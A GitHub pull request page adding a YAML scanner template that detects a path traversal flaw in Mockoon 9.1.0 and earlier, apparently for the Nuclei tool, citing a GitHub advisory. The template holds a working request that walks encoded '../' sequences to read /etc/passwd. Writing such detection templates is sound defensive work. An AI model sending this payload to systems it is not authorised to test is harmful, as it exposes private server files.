Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create mockoon-lfi.yaml #11725

Merged
merged 2 commits into from
Mar 13, 2025
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions http/vulnerabilities/other/mockoon-lfi.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
id: mockoon-lfi

info:
name: Mockoon <= 9.1.0 - Path Traversal
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
reference:
- https://github.com/advisories/GHSA-w7f9-wqc4-3wxr
tags: mockoon,lfi,oos

variables:
static_dir: "static"

http:
- raw:
- |
GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
Accept: */*

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"

- type: word
part: content_type
words:
- "application/json"